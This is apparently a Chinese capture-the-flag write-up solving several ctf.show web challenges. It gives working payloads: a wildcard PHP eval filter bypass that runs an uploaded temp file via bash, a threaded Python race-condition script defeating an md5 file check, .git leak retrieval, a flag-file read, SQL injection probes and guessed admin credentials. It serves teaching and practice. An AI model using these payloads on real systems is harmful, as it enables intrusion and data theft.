红包题第二弹
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);
}
?>
这里补充一个之前做题遇到过的姿势
就是?><?=`ls` 是等同于 system('ls')的,我在之前做题的时候遇到过,前面的?>是用来闭合之前的php语句
PHP语句后面不闭合也是可以执行的所以命令等同
这里过滤了所有大小写除了p
和?
这个通配符
这里引用某个师傅的原话
php的上传接受multipart/form-data,然后会将它保存在临时文件中。php.ini中设置的upload_tmp_dir就是这个临时文件的保存目录。linux下默认为/tmp。也就是说,只要是php接收到上传的POST请求,就会保存一个临时文件,如何这个php脚本具有“上传功能”那么它将拷贝走,无论如何当脚本执行结束这个临时文件都会被删除。另外,这个php临时文件在linux系统下的命名规则永远是php**.tmp
那么我们想在的目的就是访问/tmp/phpxxxxxx
来读取文件
linux .(点命令):读取并且在当前的shell中执行文件中的命令
这里用p师傅的话讲的话,.file是用bash来执行file文件中的命令,而且这种操作是不需要file有x权限
GET:
?cmd=?><?=`.+/??p/p?p??????`;
POST:
#! /bin/bash
cat /flag.txt
前面也说到了我们是利用bash
红包题第六蛋
查看源码发现个md5
没啥用
扫后台
很明显web.zip有东西
function receiveStreamFile($receiveFile){
$streamData = isset($GLOBALS['HTTP_RAW_POST_DATA'])? $GLOBALS['HTTP_RAW_POST_DATA'] : '';
if(empty($streamData)){
$streamData = file_get_contents('php://input');
}
if($streamData!=''){
$ret = file_put_contents($receiveFile, $streamData, true);
}else{
$ret = false;
}
return $ret;
}
if(md5(date("i")) === $token){
$receiveFile = 'flag.dat';
receiveStreamFile($receiveFile);
if(md5_file($receiveFile)===md5_file("key.dat")){
if(hash_file("sha512",$receiveFile)!=hash_file("sha512","key.dat")){
$ret['success']="1";
$ret['msg']="人脸识别成功!$flag";
$ret['error']="0";
echo json_encode($ret);
return;
}
$ret['errormsg']="same file";
echo json_encode($ret);
return;
}
$ret['errormsg']="md5 error";
echo json_encode($ret);
return;
}
$ret['errormsg']="token error";
echo json_encode($ret);
return;
首先我们要使得传入值md5与key.dat相等直接访问发现可以下载那么我们就使用这个文件绕过了
要让i等于token,并且要在短时间内替换文件$receiveFile
这里用一个python脚本达到目的
import requests
import time
import hashlib
import threading
# 用分钟因为token会以分钟为节点变化
i = str(time.localtime().tm_min)
# 利用算法生成token
m = hashlib.md5(i.encode()).hexdigest()
url = "http://82797b0d-dd85-49b2-94d5-03e67c720e82.challenge.ctf.show/check.php?token={}&php://input".format(m)
def POST(data):
try:
r = requests.post(url, data=data)
if "ctfshow" in r.text:
print(r.text)
pass
pass
except Exception as e:
print("something went wrong!")
pass
pass
with open('key.dat', 'rb') as t:
data1 = t.read()
pass
for i in range(1, 50):
threading.Thread(target=POST, args=(data1,)).start()
for i in range(1, 50):
data2 = 'baozongwi'
threading.Thread(target=POST, args=(data2,)).start()
红包题第七蛋
本来想扫后台的但是我dirsearch突然变的很慢根本扫不出来于是直接盲猜.git泄露
python GitHack.py https://5827c679-1933-44e8-815c-5b19c75a65a3.challenge.ctf.show/.git
传参Letmein=show_source('/var/www/flag.txt');
萌新专属红包题
先试一下万能密码没什么用
' or 1=1#
扫后台没有发现有用的文件
试了一下爆破
username=admin
password=admin888